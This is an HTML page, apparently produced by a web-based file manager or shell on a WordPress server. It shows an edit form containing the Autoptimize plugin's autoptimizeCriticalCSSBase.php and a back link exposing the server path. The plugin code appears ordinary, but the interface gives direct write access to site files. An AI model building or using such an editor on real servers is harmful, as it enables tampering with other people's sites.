<p style='color:red'>❌ domains folder not found.</p><h2>✏️ Editing: autoptimizeCriticalCSSBase.php</h2><form method='post'>
        <textarea name='content' rows='20' cols='100'>&lt;?php
/**
 * Critical CSS base file (initializes all ccss files).
 */

if ( ! defined( 'ABSPATH' ) ) {
    exit;
}

class autoptimizeCriticalCSSBase {
    /**
     * Main plugin filepath.
     * Used for activation/deactivation/uninstall hooks.
     *
     * @var string
     */
    protected $filepath = null;

    /**
     * Critical CSS options
     *
     * @var array
     */
    protected $_options = null;

    /**
     * Core object
     *
     * @var object
     */
    protected $_core = null;

    /**
     * Cron object
     *
     * @var object
     */
    protected $_cron = null;

    /**
     * Settings object
     *
     * @var object
     */
    protected $_settings = null;

    /**
     * Enqueue object
     *
     * @var object
     */
    protected $_enqueue = null;

    public function __construct()
    {
        // define constant, but only once.
        if ( ! defined( 'AO_CCSS_DIR' ) ) {
            // Define a constant with the directory to store critical CSS in.
            if ( is_multisite() ) {
                $blog_id = get_current_blog_id();
                define( 'AO_CCSS_DIR', WP_CONTENT_DIR . '/uploads/ao_ccss/' . $blog_id . '/' );
            } else {
                define( 'AO_CCSS_DIR', WP_CONTENT_DIR . '/uploads/ao_ccss/' );
            }
        }
        if ( ! defined( 'AO_CCSS_VER' ) ) {
            // Define plugin version.
            define( 'AO_CCSS_VER', 'AO_' . AUTOPTIMIZE_PLUGIN_VERSION );

            // Define constants for criticalcss.com base path and API endpoints.
            // fixme: AO_CCSS_URL should be read from the autoptimize availability json stored as option.
            define( 'AO_CCSS_URL', 'https://criticalcss.com' );
            define( 'AO_CCSS_API', apply_filters( 'autoptimize_filter_ccss_service_url', AO_CCSS_URL . '/api/premium/' ) );
            define( 'AO_CCSS_SLEEP', 10 );
        }

        // Define support files locations, in case they are not already defined.
        if ( ! defined( 'AO_CCSS_LOCK' ) ) {
            define( 'AO_CCSS_LOCK', AO_CCSS_DIR . 'queue.lock' );
        }
        if ( ! defined( 'AO_CCSS_LOG' ) ) {
            define( 'AO_CCSS_LOG', AO_CCSS_DIR . 'queuelog.html' );
        }
        if ( ! defined( 'AO_CCSS_DEBUG' ) ) {
            define( 'AO_CCSS_DEBUG', AO_CCSS_DIR . 'queue.json' );
        }

        $this-&gt;filepath = __FILE__;

        // Add keychecker action for scheduled use.
        add_action( 'ao_ccss_keychecker', array( $this, 'ao_ccss_check_key' ) );
    }

    public function setup() {
        // check if we need to upgrade.
        $this-&gt;check_upgrade();

        // add/ remove scheduled jobs.
        if ( $this-&gt;is_api_active() ) {
            // make sure the 10 minutes cron schedule is added.
            add_filter( 'cron_schedules', array( $this, 'ao_ccss_interval' ) );

            if ( ! wp_next_scheduled( 'ao_ccss_queue' ) ) {
                // make sure ao_ccss_queue is scheduled OK if an API key is active.
                wp_schedule_event( time(), apply_filters( 'ao_ccss_queue_schedule', 'ao_ccss' ), 'ao_ccss_queue' );
            }

            if ( ! wp_next_scheduled( 'ao_ccss_maintenance' ) ) {
                // and schedule maintenance job.
                wp_schedule_event( time(), 'twicedaily', 'ao_ccss_maintenance' );
            }

            if ( wp_next_scheduled( 'ao_ccss_keychecker' ) ) {
                // api is active now, no need to check key as it is checked by using the API.
                wp_clear_scheduled_hook( 'ao_ccss_keychecker' );
            }
        } else {
            if ( wp_next_scheduled( 'ao_ccss_queue' ) ) {
                wp_clear_scheduled_hook( 'ao_ccss_queue' );
            }

            if ( wp_next_scheduled( 'ao_ccss_maintenance' ) ) {
                wp_clear_scheduled_hook( 'ao_ccss_maintenance' );
            }

            // add keychecker logic if api is not active but we have a key so maybe this is a temporary issue, check if key is OK daily.
            $ao_ccss_key   = $this-&gt;get_option( 'key' );
            if ( ! empty( $ao_ccss_key ) &amp;&amp; ! wp_next_scheduled( 'ao_ccss_keychecker' ) ) {
                wp_schedule_event( time(), 'twicedaily', 'ao_ccss_keychecker' );
            } else if ( empty( $ao_ccss_key ) &amp;&amp; wp_next_scheduled( 'ao_ccss_keychecker' ) ) {
                // edge case: we had a inactive key that was checked daily, but it is now removed, so remove keychecker from schedule.
                wp_clear_scheduled_hook( 'ao_ccss_keychecker' );
            }
        }

        // check/ create AO_CCSS_DIR.
        if ( ! file_exists( AO_CCSS_DIR ) ) {
            $this-&gt;create_ao_ccss_dir();
        }
    }

    public function load_requires() {
        // Required libs, core is always needed.
        $this-&gt;_core = new autoptimizeCriticalCSSCore();

        if ( ( defined( 'WP_CLI' ) || defined( 'DOING_CRON' ) || is_admin() ) &amp;&amp; $this-&gt;is_api_active() ) {
            // cron only initiated when doing cron (or wp_cli or is_amdin) and when we have an active API key.
            $this-&gt;_cron = new autoptimizeCriticalCSSCron();
        }

        if ( is_admin() ) {
            $this-&gt;_settings = new autoptimizeCriticalCSSSettings();
        } else if ( $this-&gt;is_api_active() ) {
            // enqueuing only done when not wp-admin and when API is active.
            $this-&gt;_enqueue = new autoptimizeCriticalCSSEnqueue();
        }
    }

    /**
     * Log a message via CCSS Core object
     *
     * @param string $msg Message to log.
     * @param int    $lvl Loglevel.
     *
     * @return empty
     */
    public function log( $msg, $lvl ) {
        return $this-&gt;_core-&gt;ao_ccss_log( $msg, $lvl );
    }

    /**
     * Get viewport from CCSS Core object
     *
     * @return array
     */
    public function viewport() {
        return $this-&gt;_core-&gt;ao_ccss_viewport();
    }

    /**
     * Check CCSS contents from Core object
     *
     * @param string $ccss Critical CSS to be checked.
     *
     * @return bool
     */
    public function check_contents( $ccss ) {
        return $this-&gt;_core-&gt;ao_ccss_check_contents( $ccss );
    }

    /**
     * Get key status from Core object
     *
     * @param bool $render Indicates if key status is to be rendered.
     *
     * @return array
     */
    public function key_status( $render ) {
        return $this-&gt;_core-&gt;ao_ccss_key_status( $render );
    }

    /**
     * Return valid types from core object
     *
     * @return array
     */
    public function get_types() {
        return $this-&gt;_core-&gt;get_types();
    }

    /**
     * Run enqueue in CCSS Enqueue object
     *
     * @param string $hash Hash (default empty).
     * @param string $path Path (default empty).
     * @param string $type (default is_page).
     */
    public function enqueue( $hash = '', $path = '', $type = 'is_page' ) {
        // Enqueue is sometimes required on wp-admin requests, load it just-in-time.
        if ( is_null( $this-&gt;_enqueue ) &amp;&amp; $this-&gt;is_api_active() ) {
            $this-&gt;_enqueue = new autoptimizeCriticalCSSEnqueue();
        }

        return $this-&gt;_enqueue-&gt;ao_ccss_enqueue( $hash, $path, $type );
    }

    /**
     * Check auto-rules in CCSS Settings object
     */
    public function has_autorules() {
        return $this-&gt;_settings-&gt;ao_ccss_has_autorules();
    }

    /**
     * Get a Critical CSS option
     *
     * @param string $name The option name.
     *
     * @return mixed
     */
    public function get_option( $name ) {
        if ( is_null( $this-&gt;_options ) ) {
            $this-&gt;fetch_options();
        }

        if ( isset( $this-&gt;_options[ $name ] ) ) {
            return $this-&gt;_options[ $name ];
        }

        return null;
    }

    public function flush_options() {
        $this-&gt;_options = null;
    }

    protected function fetch_options() {
        if ( ! is_null( $this-&gt;_options ) ) {
            return $this-&gt;_options;
        }

        $this-&gt;_options = array(
            'css_defer'         =&gt; autoptimizeOptionWrapper::get_option( 'autoptimize_css_defer' ),
            'css_defer_inline'  =&gt; autoptimizeOptionWrapper::get_option( 'autoptimize_css_defer_inline' ),
            'rules_raw'     =&gt; get_option( 'autoptimize_ccss_rules', false ),
            'additional'    =&gt; get_option( 'autoptimize_ccss_additional' ),
            'queue_raw'     =&gt; get_option( 'autoptimize_ccss_queue', false ),
            'viewport'      =&gt; get_option( 'autoptimize_ccss_viewport', false ),
            'finclude'      =&gt; get_option( 'autoptimize_ccss_finclude', false ),
            'rtimelimit'    =&gt; get_option( 'autoptimize_ccss_rtimelimit', '30' ),
            'noptimize'     =&gt; get_option( 'autoptimize_ccss_noptimize', false ),
            'debug'         =&gt; get_option( 'autoptimize_ccss_debug', false ),
            'key'           =&gt; apply_filters( 'autoptimize_filter_ccss_key', get_option( 'autoptimize_ccss_key' ) ),
            'keyst'         =&gt; get_option( 'autoptimize_ccss_keyst' ),
            'loggedin'      =&gt; get_option( 'autoptimize_ccss_loggedin', '1' ),
            'forcepath'     =&gt; get_option( 'autoptimize_ccss_forcepath', '1' ),
            'servicestatus' =&gt; get_option( 'autoptimize_service_availablity' ),
            'deferjquery'   =&gt; get_option( 'autoptimize_ccss_deferjquery', false ),
            'domain'        =&gt; get_option( 'autoptimize_ccss_domain' ),
            'unloadccss'    =&gt; get_option( 'autoptimize_ccss_unloadccss', false ),
        );

        if ( strpos( $this-&gt;_options['domain'], 'http' ) === false &amp;&amp; strpos( $this-&gt;_options['domain'], 'uggc' ) === 0 ) {
            $this-&gt;_options['domain'] = str_rot13( $this-&gt;_options['domain'] );
        } elseif ( strpos( $this-&gt;_options['domain'], 'http' ) !== false ) {
            // not rot13'ed yet, do so now (goal; avoid migration plugins change the bound domain).
            update_option( 'autoptimize_ccss_domain', str_rot13( $this-&gt;_options['domain'] ) );
        }

        // Setup the rules array.
        if ( empty( $this-&gt;_options['rules_raw'] ) ) {
            $this-&gt;_options['rules'] = array(
                'paths' =&gt; array(),
                'types' =&gt; array(),
            );
        } else {
            $this-&gt;_options['rules'] = json_decode( $this-&gt;_options['rules_raw'], true );
        }

        // Setup the queue array.
        if ( empty( $this-&gt;_options['queue_raw'] ) ) {
            $this-&gt;_options['queue'] = array();
        } else {
            $this-&gt;_options['queue'] = json_decode( $this-&gt;_options['queue_raw'], true );
        }

        // Override API key if constant is defined.
        if ( defined( 'AUTOPTIMIZE_CRITICALCSS_API_KEY' ) ) {
            $this-&gt;_options['key'] = AUTOPTIMIZE_CRITICALCSS_API_KEY;
        }

        return $this-&gt;_options;
    }

    public function on_upgrade() {
        $key = $this-&gt;get_option( 'key' );

        // Create the cache directory if it doesn't exist already.
        if ( ! file_exists( AO_CCSS_DIR ) ) {
            $this-&gt;create_ao_ccss_dir();
        }

        // Create a scheduled event for the queue.
        if ( $this-&gt;is_api_active() &amp;&amp; ! wp_next_scheduled( 'ao_ccss_queue' ) ) {
            wp_schedule_event( time(), apply_filters( 'ao_ccss_queue_schedule', 'ao_ccss' ), 'ao_ccss_queue' );
        }

        // Create a scheduled event for log maintenance.
        if ( $this-&gt;is_api_active() &amp;&amp; ! wp_next_scheduled( 'ao_ccss_maintenance' ) ) {
            wp_schedule_event( time(), 'twicedaily', 'ao_ccss_maintenance' );
        }
    }

    public function check_upgrade() {
        $db_version = get_option( 'autoptimize_ccss_version', '' );
        if ( AO_CCSS_VER !== $db_version ) {
            // check schedules &amp; re-schedule if needed.
            $this-&gt;on_upgrade();
            // and update db_version.
            update_option( 'autoptimize_ccss_version', AO_CCSS_VER );
        }
    }

    public function ao_ccss_interval( $schedules ) {
        // Let interval be configurable.
        if ( ! defined( 'AO_CCSS_DEBUG_INTERVAL' ) ) {
            $intsec = 600;
            $inttxt = '10 minutes';
        } else {
            $intsec = AO_CCSS_DEBUG_INTERVAL;
            if ( $intsec &gt;= 120 ) {
                $inttxt = $intsec / 60 . ' minutes';
            } else {
                $inttxt = $intsec . ' second(s)';
            }
            $this-&gt;log( 'Using custom WP-Cron interval of ' . $inttxt, 3 );
        }

        // Attach interval to schedule.
        $schedules['ao_ccss'] = array(
            'interval' =&gt; $intsec,
            'display'  =&gt; sprintf( __( 'Every %s (Autoptimize Crit. CSS)', 'autoptimize' ), $inttxt ),
        );
        return $schedules;
    }

    public function create_ao_ccss_dir() {
        // Make sure dir to write ao_ccss exists and is writable.
        if ( ! is_dir( AO_CCSS_DIR ) ) {
            // TODO: use wp_mkdir_p() ?
            $mkdirresp = @mkdir( AO_CCSS_DIR, 0775, true ); // @codingStandardsIgnoreLine
        } else {
            $mkdirresp = true;
        }

        // Make sure our index.html is there.
        if ( ! is_file( AO_CCSS_DIR . 'index.html' ) ) {
            $fileresp = file_put_contents( AO_CCSS_DIR . 'index.html', '&lt;html&gt;&lt;head&gt;&lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&gt;&lt;/head&gt;&lt;body&gt;Generated by &lt;a href=&quot;http://wordpress.org/extend/plugins/autoptimize/&quot; rel=&quot;nofollow&quot;&gt;Autoptimize&lt;/a&gt;&lt;/body&gt;&lt;/html&gt;' );
        } else {
            $fileresp = true;
        }

        if ( true === $fileresp &amp;&amp; true === $mkdirresp ) {
            return true;
        } else {
            return false;
        }
    }

    /**
     * Helper function to determine if there is an active API key.
     *
     * @return bool
     */
    public function is_api_active() {
        // using options instead of more complex $this-&gt;key_status (which gave some dependancy issues ... ;-) ).
        $ao_ccss_key   = $this-&gt;get_option( 'key' );
        $ao_ccss_keyst = $this-&gt;get_option( 'keyst' );

        if ( ! empty( $ao_ccss_key ) &amp;&amp; $ao_ccss_keyst &amp;&amp; 2 == $ao_ccss_keyst ) {
            return true;
        }

        return false;
    }

    /**
     * Helper function to determine if a rule is MANUAL.
     *
     * @param array $rule Rule to check.
     *
     * @return bool
     */
    public function is_rule_manual( $rule ) {
        if ( is_array( $rule ) &amp;&amp; false == $rule['hash'] &amp;&amp; false != $rule['file'] ) {
            return true;
        }

        return false;
    }

    /**
     * Scheduled action to check an inactive key. Not part of autoptimizeCriticalCSSCron.php
     * to allow us to only load the main cron logic if we have an active key to begin with.
     */
    public function ao_ccss_check_key() {
        $ao_ccss_key = $this-&gt;get_option( 'key' );
        $_result = $this-&gt;_core-&gt;ao_ccss_key_validation( $ao_ccss_key );
        $_resmsg = ( true === $_result ) ? 'ok' : 'nok';
        $this-&gt;log( 'Inactive key checked, result was ' . $_resmsg, 3 );
    }
}
</textarea><br>
        <input type='submit' name='content_save' value='💾 Save'>
        </form>
        <hr><a href='?go=%2Fhome%2Fmba%2Fpublic_html%2Fwp-content-20250807152928%2Fplugins%2Fautoptimize%2Fclasses'>🔙 Back</a>